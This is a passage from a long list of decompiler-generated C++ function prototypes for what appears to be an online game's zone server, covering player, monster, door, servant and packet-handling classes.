*this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this); void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this); // void __thiscall MobTacticElement::MobActionArgument::Actor::Actor(MobTacticElement::MobActionArgument::Actor *this); void __thiscall MobTacticElement::MobActionArgument::Actor::_Actor(MobTacticElement::MobActionArgument::Actor *this); void __thiscall MobTargetAggresiveNoLevel::_MobTargetAggresiveNoLevel(MobTargetAggresiveNoLevel *this); void *__thiscall MobTargetAggresiveNoLevel::_scalar_deleting_destructor_(MobTargetAggresiveNoLevel *this, unsigned int); void __thiscall ShineObjectClass::ShineAxialFlag::so_BroadcastLogout(ShineObjectClass::ShineAxialFlag *this); void __thiscall ShineObjectClass::ShineObject::so_Disconnect(void *this, int reason, int when, int signal2WMS); void *__thiscall ShineObjectClass::ShineDropItem::_vector_deleting_destructor_(ShineObjectClass::ShineDropItem *this, unsigned int); void *__thiscall ShineObjectClass::ShineEffectObject::_vector_deleting_destructor_(ShineObjectClass::ShineEffectObject *this, unsigned int); void *__thiscall ShineObjectClass::ShineMagicField::_vector_deleting_destructor_(ShineObjectClass::ShineMagicField *this, unsigned int); int __thiscall PROTO_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB::operator_(int this, int a2); int __cdecl ShineObjectClass::ShineObject::so_ply_KeepFromChat(int a1); int __cdecl ShineObjectClass::ShinePlayer::so_ply_KeepFromChat(int a1); void __thiscall ShineObjectClass::ShinePlayer::so_LogoutLog(void *this, char *flag); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_DefaultCoord(); SHINE_COORD_TYPE *__thiscall ShineObjectClass::ShineAxialFlag::so_DefaultCoord(ShineObjectClass::ShineAxialFlag *this); int __thiscall ShineObjectClass::ShinePlayer::sp_SetRulesOfEngagement(int this, int pCurRule); void __thiscall ProtocolLogger::pl_Logging(ProtocolLogger *this); __int16 __thiscall ShineObjectClass::ShineMob::sm_GetNextSkillID(int this); __int16 __thiscall ShineObjectClass::ShineMob::sm_SetNextSkillID(int this, __int16 skillid); void __thiscall ShineObjectClass::ShineMob::smo_JustAttackedFlagSet(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_MaxHP(void *this); unsigned int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTime(int this, int skill, int cooltime_milli, int delaygroupnum, int delaygroupcooltime_milli, int empowdiscount); char __thiscall ShineObjectClass::ShinePlayer::so_GetIsQuestRewardReq(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetIsQuestRewardReq(int this, char IsQuestRewardReq); AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_AllocationZ(List *this, unsigned __int16 *hnd); char __thiscall List::l_4AllInList(List *this, char (__thiscall *func)(#331 *this, List *, unsigned __int16)); void __thiscall List::_List(List *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); int __thiscall _vcall_(void *this); void __thiscall VectorClass::UnitVector::UnitVector(VectorClass::UnitVector *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b); void __thiscall PacketContainer::pcb_SetSocketSession(ORField *this, ORColumnHeader *hd); char __thiscall PacketContainerBase::pcb_Flush(PacketContainerBase *this, ClientSession *session); char __thiscall PacketContainer::pcb_Flush(PacketContainer *this, ClientSession *session); char __cdecl ShineObjectClass::ShineObject::so_PacketBufferFlush(); void __thiscall ShineObjectClass::ShineEffectObject::so_FillBriefInformation(ShineObjectClass::ShineEffectObject *this, void *array); void __thiscall ShineObjectClass::ShineDropItem::so_itempicked(ShineObjectClass::ShineDropItem *this); char __thiscall SlantedCoordList::CoordedNode::cn_IsValid(SlantedCoordList::CoordedNode *this); void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(PROTO_NC_CHAR_WEDDINGDATA_ACK *this); int __thiscall ShineObjectClass::ShineObject::ShineObject(int this); int __stdcall ShineObjectClass::ShineObject::so_DamageLog(int spot, int hpchangeorder, int damage, int resthp); void __thiscall ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect(void *this); void __thiscall ShineObjectClass::ShineObject::so_Logout(void *this); char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int axialfunc, int a3, int a4, int a5, int tome); char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int ala, int tome); char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, int range, int fansector, int axialfunc, int a7, int a8, int a9, int tome, int excepter); char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, int range, int fansector, int ala, int tome, int excepter); signed __int16 __thiscall ShineObjectClass::ShineObject::so_mapindex(void *this); void __thiscall ShineObjectClass::ShineDropItem::ShineDropItem(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineEffectObject::ShineEffectObject(ShineObjectClass::ShineEffectObject *this); // int ShineObjectClass::ShineMobileObject::ShineMobileObject(void); weak ShineRTTI *__cdecl ShineObjectClass::ShineMobileObject::GetRTTI(); unsigned int __thiscall ShineObjectClass::ShineMobileObject::so_SetLastBattle(int this); bool __thiscall ShineObjectClass::ShineMobileObject::so_isinbattle(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_CharacterClass(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_SpyAgent(void *this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_AbstateList(void *this); bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInMoving(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_Move2Where(void *this); bool __thiscall ShineObjectClass::ShineMobileObject::so_OverlapFactor(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SendMyMoveInfo(int this, int a2); _UNKNOWN *__cdecl ShineObjectClass::ShineMobileObject::so_Getabstatebit(); void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParamReady(int this); void __thiscall ShineObjectClass::ShineMobileObject::so_batobj_DamageApply(int this, int damage); int __thiscall ShineObjectClass::ShineMobileObject::so_batobj_GetDamage(int this); char __thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_Reset(AbnormalStateInfo::ABSTATEINDEX this, int stateid); int __thiscall ShineObjectClass::ShineMobileObject::so_parameter(void *this); bool __thiscall ShineObjectClass::ShineMobileObject::smo_DuringCast(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_WhoIsKillMe(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetClicker(int this, __int16 clicker); void __thiscall ShineObjectClass::ShineMobileObject::so_YouHaveAlreadyDead(int this); bool __thiscall ShineObjectClass::ShineMobileObject::so_AmIAlreadyDead(void *this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveState(int this); void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcSpeed(int this, int newspeed); char __thiscall ShineObjectClass::ShineMobileObject::smo_SPCheckConsume(void *this, __int16 skill, int sklinf, int empow); bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_TargetModeCheck(void *this, int ts); char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DuringFlying(int this); __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetHPChangeOrder(int this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DeadCheck(int this, int cause); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveReserve(int this, int goal, int speed, MoveManager::MMState state, int md); void __thiscall ShineObjectClass::ShineMobileObject::_ShineMobileObject(int this); void __thiscall MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate(MobTargetPlayerCaptivate *this); void *__thiscall MobTargetPlayerCaptivate::_vector_deleting_destructor_(MobTargetPlayerCaptivate *this, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::so_briefequipset(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup(void *this); void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(void *this, const char *title); void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuItem(void *this, void (__thiscall *func)(ServerMenuFuncter *, #440 *, ServerMenuArgument *), const char *str, ServerMenuArgument *arg); void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(void *this, char priority, __int16 npcHandle, int npcPosition, __int16 limitRange); void __thiscall ShineObjectClass::ShinePlayer::sp_DummyFunction(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShineDoor::ShineDoor(ShineObjectClass::ShineDoor *this); ShineRTTI *__thiscall ShineObjectClass::ShineDoor::GetRTTI(ShineObjectClass::ShineDoor *this); void __thiscall ShineObjectClass::ShineDoor::so_SendMyBriefInfo(ShineObjectClass::ShineDoor *this, #331 *obj); char __thiscall ShineObjectClass::ShineDoor::so_ObjectType(ItemQuestItemBox *this); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDoor::so_LoginLocation(ShineObjectClass::ShineDoor *this); unsigned __int16 __thiscall ShineObjectClass::ShineDoor::so_RemakeHandle(ShineObjectClass::ShineDoor *this, unsigned __int16 handle); char *__thiscall ShineObjectClass::ShineDoor::so_mobile_GetIdxName(ShineObjectClass::ShineDoor *this); void __thiscall ShineObjectClass::ShineDoor::so_FillBriefInformation(ShineObjectClass::ShineDoor *this, void *array); int __thiscall PROTO_NC_BRIEFINFO_BUILDDOOR_CMD::operator_(int this, int a2); void __thiscall ShineObjectClass::ShineDoor::_ShineDoor(ShineObjectClass::ShineDoor *this); void __thiscall ShineObjectClass::ShineMagicField::ShineMagicField(ShineObjectClass::ShineMagicField *this); // void __thiscall ShineObjectClass::ShineMiniHouse::_ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this); ShineRTTI *__thiscall ShineObjectClass::ShineMiniHouse::GetRTTI(ShineObjectClass::ShineMiniHouse *this); void __thiscall ShineObjectClass::ShineMiniHouse::so_SendMyBriefInfo(ShineObjectClass::ShineMiniHouse *this, #331 *obj); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_RemakeHandle(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMiniHouse::so_FillBriefInformation(ShineObjectClass::ShineMiniHouse *this, void *array); int __thiscall PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD::operator_(int this, int a2); void __thiscall MobTacticElement::MobActionArgument::Selector::Selector(MobTacticElement::MobActionArgument::Selector *this); void __thiscall MobTacticElement::MobActionArgument::Selector::_Selector(MobTacticElement::MobActionArgument::Selector *this); void __thiscall ShineObjectClass::ShinePlayer::so_SendProtocol(void *this, __int16 depart, __int16 command); void __thiscall ShineObjectClass::ShinePlayer::so_SendErrorCode(void *this, __int16 depart, __int16 command, __int16 err); void __thiscall ShineObjectClass::ShinePlayer::so_allparametercalculate(void *obj); void __thiscall ShineObjectClass::ShineObject::so_BroadcastLogout(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_Disconnect(void *this, int reason, int when, int signal2WMS); int __thiscall ShineObjectClass::ShinePlayer::so_EncSeedSet(void *this); void __thiscall ShineObjectEachList::_ShineObjectEachList(ShineObjectEachList *this); char __thiscall ShineObjectEachList::soel_Routine(ShineObjectEachList *this, List *lst, unsigned __int16 handle); void __thiscall ShineObjectManager::_ShineObjectManager(ShineObjectManager *this); void *__thiscall ShineObjectClass::ShineDoor::_vector_deleting_destructor_(ShineObjectClass::ShineDoor *this, unsigned int); void *__thiscall ShineObjectClass::ShineMiniHouse::_vector_deleting_destructor_(ShineObjectClass::ShineMiniHouse *this, unsigned int); #331 *__thiscall ShineObjectManager::som_GetObjectAbsolute(ShineObjectManager *this, unsigned __int16 handle); #331 *__thiscall ShineObjectManager::som_GetObject(ShineObjectManager *this, unsigned __int16 handle); #331 *__thiscall ShineObjectManager::som_AllocObject(ShineObjectManager *this, unsigned __int16 *hnd, unsigned __int16 type); char __thiscall ShineCharRegnumFinder::lid_Call(ShineCharRegnumFinder *this, #331 *, unsigned __int16); char __thiscall ShineCharIDFinder::lid_Call(ShineCharIDFinder *this, #331 *, unsigned __int16); #331 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, unsigned int chrregnum); #331 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, Name4 *chrid); #331 *__thiscall ShineObjectManager::som_FindNPC(ShineObjectManager *this, Name4 *chrid); void __thiscall SlantedCoordList::CoordedNode::cn_Reset(SlantedCoordList::CoordedNode *this); char __thiscall ShineObjectClass::ShineDoor::so_door_DoorAction(ShineObjectClass::ShineDoor *this, char *blockfile, MapBlock::DoorAction da); void __thiscall ShineObjectClass::ShineBandit::so_bandit_ChangeType(ShineObjectClass::ShineBandit *this, char newtype); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_CLIENT_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_DB_UI_STATE_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_MISC_WHSHANDLEREPAIR_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD(void *this, int repair); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ(void *this, int netcmd, int len, __int16 handle); __int16 __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservStore(int this, const void *lnkinf); int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservFind(int this, unsigned __int16 pointer); void __thiscall ShineObjectClass::ShinePlayer::sp_RegistNumberVarification(void *this); void __thiscall GameDBSession::gds_NC_CHAR_REGNUM_VARIFICATION_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __stdcall ShineObjectClass::ShineObject::so_ply_RegistNumberVarifyCheck(int varif_ack); char __thiscall ShineObjectClass::ShinePlayer::so_ply_RegistNumberVarifyCheck(void *this, int varif_ack); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_RefreshWMSSocket(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc(void *this, int flag); void __thiscall ProtocolLogger::pl_Store(ProtocolLogger *this, NETCOMMAND *netcmd, SHINE_XY_TYPE *coord); void __thiscall ProtocolLogger::pl_Clear(ProtocolLogger *this); void __thiscall ShineObjectClass::ShinePlayer::sp_LastProtocol(void *this, NETCOMMAND *netcmd); void __thiscall ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck(void *this); void __thiscall ListCheckStruct::lcs_Init(ListCheckStruct *this, ListCheckStruct *lcs); char __thiscall ShineObjectClass::ShineObject::so_SlantedListCheck(void *this); void __stdcall ShineObjectClass::ShineObject::so_SetHP(int hp); void __thiscall ShineObjectClass::ShineMob::so_SetHP(void *this, int hp); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall List::l_Clear(List *this); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveHalt(void *this); char __thiscall SlantedCoordList::CoordedNode::cn_RemoveList(SlantedCoordList::CoordedNode *this); void __thiscall ShineObjectClass::ShineObject::so_Unmark(void *this, int when, char logoutpacket, char SaveType); void __thiscall ShineObjectClass::ShineObject::so_LogoutPacketBroadcast(void *this); void __thiscall ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast(ShineObjectClass::ShineDropItem *this); char __thiscall ShineObjectClass::ShineObject::so_AllOfRange_Simple(int this, int ala, int nRange); void __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int ala, char tome, __int16 excepter); void __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a7, int a8, int a9, char tome, __int16 excepter); char __stdcall ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse(int event, int center, int range, int fansector, int axialfunc, int a6, int a7, int a8, char tome, __int16 excepter); void *__thiscall ShineObjectClass::ShineMobileObject::_scalar_deleting_destructor_(unsigned int); void __thiscall ShineObjectClass::ShineMiniHouse::ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this); void __thiscall MobTacticElement::MobActionArgument::MobActionArgument(MobTacticElement::MobActionArgument *this); void __thiscall MobTacticElement::MobActionArgument::_MobActionArgument(MobTacticElement::MobActionArgument *this); void __thiscall ShineObjectClass::ShineObject::so_FreeFromList(int this); void __thiscall ShineObjectClass::ShineMob::so_FreeFromList(int this); void __thiscall ShineObjectClass::ShinePlayer::so_FreeFromList(void *this); void __thiscall ShineObjectClass::ShineObject::so_Reset_SlantedList(void *this); char __thiscall List::l_PushA(List *this, ShineObjectEachList *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall ShineObjectEachList::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, ShineObjectEachList *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ShineObjectEachList *ele); char __thiscall List::l_PopZ(List *this, ShineObjectEachList *ele); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_Clear(List *this); AbnormalStateContainer::AbstateElementInObject *__thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_IsSet(int this, AbnormalStateInfo::ABSTATEINDEX abstate); void __thiscall ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect(void *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, const unsigned int *_Keyval); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall std::vector>::_Tidy(std::vector > *this); char __thiscall List::l_PushA(List *this, #331 *ele); int __thiscall ShineObjectClass::ShineObject::__unnamed::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, #331 *ele); char __thiscall List::l_PopA(List *this, #331 *ele); char __thiscall List::l_PopZ(List *this, #331 *ele); Observer *__cdecl std::_Uninit_copy>::iterator_Observer___std::allocator>(Observer *_First, Observer *_Last, Observer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall ShineObjectClass::ShineAxialFlag::_ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this); void __thiscall ShineObjectClass::ShineAxialFlag::so_SlantedFlag(ShineObjectClass::ShineAxialFlag *this, unsigned int x, unsigned int y, #592 *fld, #331 *allofrange_this); #331 *__thiscall ShineObjectClass::ShineAxialFlag::so_AllOfRange_Getthis(ShineObjectClass::ShineAxialFlag *this); void __thiscall ShineObjectClass::ShineAxialFlag::so_safm_SetCinema(ShineObjectClass::ShineAxialFlag *this, Movie::CinemaComplex *cine); unsigned __int16 __thiscall ShineObjectClass::ShineAxialFlag::so_RemakeHandle(ShineObjectClass::ShineAxialFlag *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMob::_ShineMob(int this); ShineRTTI *__cdecl ShineObjectClass::ShineMob::GetRTTI(); int __thiscall ShineObjectClass::ShineMob::so_mobile_BattleCamp(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_RegenLocation(void *this); int __thiscall ShineObjectClass::ShineMob::so_mob_LastHittedLocation(void *this); int __thiscall ShineObjectClass::ShineMob::so_mob_ChaseRangeSquar(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponAniTime(int this); int __thiscall ShineObjectClass::ShineMob::so_CharName(int this); signed int __thiscall ShineObjectClass::ShineMob::so_OverlapFactor(void *this); int __thiscall ShineObjectClass::ShineMob::so_FillBriefInformation(int this, void *array); void __thiscall ShineObjectClass::ShineMob::so_SendMyBriefInfo(void *this, int a2); bool __thiscall ShineObjectClass::ShineMob::so_IsEmpty(void *this); char __cdecl ShineObjectClass::ShineMob::so_ObjectType(); char __thiscall ShineObjectClass::ShineMob::so_GetLevel(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_attackspeed1000_packet(void *this); unsigned int __thiscall ShineObjectClass::ShineMob::so_BodySize(int this); int __thiscall ShineObjectClass::ShineMob::so_AttackRange(int this, int a2); int __thiscall ShineObjectClass::ShineMob::so_mob_DataBox(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_Race(int this); __int16 __thiscall ShineObjectClass::ShineMob::so_WalkSpeed(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_RunSpeed(int this); int __thiscall ShineObjectClass::ShineMob::so_GetCharRegistNumber(int this); int __thiscall ShineObjectClass::ShineMob::so_LoginLocation(void *this); int __thiscall ShineObjectClass::ShineMob::so_Heal(void *this, int heal); int __thiscall ShineObjectClass::ShineMob::so_GetHP(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_MaxHP(void *this); int __thiscall ShineObjectClass::ShineMob::so_MaxSP(int this); int __thiscall ShineObjectClass::ShineMob::so_GetSP(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_LostSP(int this, unsigned int a2); int __thiscall ShineObjectClass::ShineMob::so_GainSP(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::smo_ZeroHP(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_LostHP(int this, unsigned int hp); int __thiscall ShineObjectClass::ShineMob::so_GainHP(void *this, int hp); __int16 __thiscall ShineObjectClass::ShineMob::so_RemakeHandle(void *this, __int16 handle); int __thiscall ShineObjectClass::ShineMob::so_Getabstatebit(int this); __int16 __thiscall ShineObjectClass::ShineMob::so_mob_MobID(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_FalimyList(void *this); int __thiscall ShineObjectClass::ShineMob::so_mob_DistanceFromHome(void *this); int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetHandle(int this); int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetObject(int this); bool __thiscall ShineObjectClass::ShineMob::so_CanSkillTarget(int this); void __thiscall ShineObjectClass::ShineMob::so_mob_RescueObject(#331 *, char); int __thiscall ShineObjectClass::ShineMob::so_mobile_GetIdxName(int this); int __thiscall ShineObjectClass::ShineMob::smo_BattleKillScore(int this); char __thiscall ShineObjectClass::ShineMob::so_mob_CanRecover(int this, char can); char __thiscall ShineObjectClass::ShineMob::so_mob_MobAggro(int this, char can); char __thiscall ShineObjectClass::ShineMob::so_mobile_MobAggroRate(int this); char __thiscall ShineObjectClass::ShineMob::sm_IsPlayerSide(int this); __int16 __thiscall ShineObjectClass::ShineMob::so_getDetectRange(void *this); void __thiscall ShineObjectClass::ShineMob::so_SetLastBattle(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponHitTime(void *this); void __thiscall ShineObjectClass::ShineBandit::_ShineBandit(ShineObjectClass::ShineBandit *this); ShineRTTI *__thiscall ShineObjectClass::ShineBandit::GetRTTI(ShineObjectClass::ShineBandit *this); int __thiscall ORColumnHeaderByte::orch_FieldType(ORFieldByte *this); void __thiscall ShineObjectClass::ShineBandit::so_SendMyBriefInfo(ShineObjectClass::ShineBandit *this, #331 *obj); char __thiscall ShineObjectClass::ShineBandit::so_IsMob(ShineObjectClass::ShineBandit *this); PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ShineObjectClass::ShineBandit::so_GetCharBriefInfo(ShineObjectClass::ShineBandit *this); unsigned __int16 __thiscall ShineObjectClass::ShineBandit::so_RemakeHandle(ShineObjectClass::ShineBandit *this, unsigned __int16 handle); ABNORMAL_STATE_BIT *__thiscall ShineObjectClass::ShineBandit::so_Getabstatebit(ShineObjectClass::ShineBandit *this); void __thiscall ShineObjectClass::ShineBandit::so_FillBriefInformation(ShineObjectClass::ShineBandit *this, void *array); void __thiscall ShineObjectClass::ShineServant::_ShineServant(ShineObjectClass::ShineServant *this); ShineRTTI *__thiscall ShineObjectClass::ShineServant::GetRTTI(ShineObjectClass::ShineServant *this); ShineObjectClass::BattleCamp __thiscall ShineObjectClass::ShineServant::so_mobile_BattleCamp(ShineObjectClass::ShineServant *this); char __thiscall ShineObjectClass::ShineServant::so_ObjectType(ShineObjectClass::ShineServant *this); char __thiscall ShineObjectClass::ShineServant::so_GetLevel(ShineObjectClass::ShineServant *this); unsigned int __thiscall ShineObjectClass::ShineServant::so_AttackRange(ShineObjectClass::ShineServant *this, #331 *target); unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_RemakeHandle(ShineObjectClass::ShineServant *this, unsigned __int16 handle); int __thiscall ShineObjectClass::ShineServant::so_MiscTable(int this); #748 *__thiscall ShineObjectClass::ShineServant::so_serv_FindMaster(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineServant::so_serv_ServantMissionSet(ShineObjectClass::ShineServant *this); #331 *__thiscall ShineObjectClass::ShineServant::so_serv_TargetOfSummonMob(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineServant::so_serv_SetTarget(ShineObjectClass::ShineServant *this, #331 *target); char __thiscall ShineObjectClass::ShineServant::sm_IsPlayerSide(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectManager::ShineObjectManager(ShineObjectManager *this); void *__thiscall ShineObjectClass::ShineAxialFlag::_vector_deleting_destructor_(ShineObjectClass::ShineAxialFlag *this, unsigned int); void *__thiscall ShineObjectClass::ShineBandit::_vector_deleting_destructor_(ShineObjectClass::ShineBandit *this, unsigned int); void *__thiscall ShineObjectClass::ShineMob::_vector_deleting_destructor_(unsigned int); void *__thiscall ShineObjectClass::ShineServant::_vector_deleting_destructor_(ShineObjectClass::ShineServant *this, unsigned int); void __thiscall std::vector>::_vector>(std::vector > *this); void __thiscall ShineObjectClass::ShinePlayer::_ShinePlayer(int this); ShineRTTI *__cdecl ShineObjectClass::ShinePlayer::GetRTTI(); int __thiscall ShineObjectClass::ShinePlayer::so_ItemInventory(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_TradeStructure(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoard(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_GetWaitTradeResFromDB(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetWaitTradeResFromDB(int this, char value); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SilverWingCoolTime(int this); char __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTimeUpdate(int this, unsigned __int16 skill, unsigned int eoct); int __thiscall ShineObjectClass::ShinePlayer::so_PacketEncryptClass(void *this); __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentMoney(int this); __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentExp(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentFame(int this); char __thiscall ShineObjectClass::ShinePlayer::so_AdministratorLevel(int this); int __thiscall ShineObjectClass::ShinePlayer::so_extradata(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_SetParty(int this, __int16 party); int __thiscall ShineObjectClass::ShinePlayer::so_CharName(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_datasync(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_SoloingMode(int this); int __thiscall ShineObjectClass::ShinePlayer::so_SendMyBriefInfo(void *this, int a2); int __thiscall ShineObjectClass::ShinePlayer::so_GetDataSocketStream(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetGameSocketStream(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_IsEmpty(int this); char __cdecl ShineObjectClass::ShinePlayer::so_TargetType(); char __thiscall ShineObjectClass::ShinePlayer::so_GetLevel(int this); char __thiscall ShineObjectClass::ShinePlayer::so_GetClass(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_attackspeed1000(void *this); signed int __cdecl ShineObjectClass::ShinePlayer::so_BodySize(); int __thiscall ShineObjectClass::ShinePlayer::so_GetCharBriefInfo(int this); signed int __thiscall ShineObjectClass::ShinePlayer::so_AttackRange(void *this, int a2); __int16 __thiscall ShineObjectClass::ShinePlayer::so_WalkSpeed(void *this); unsigned int __thiscall 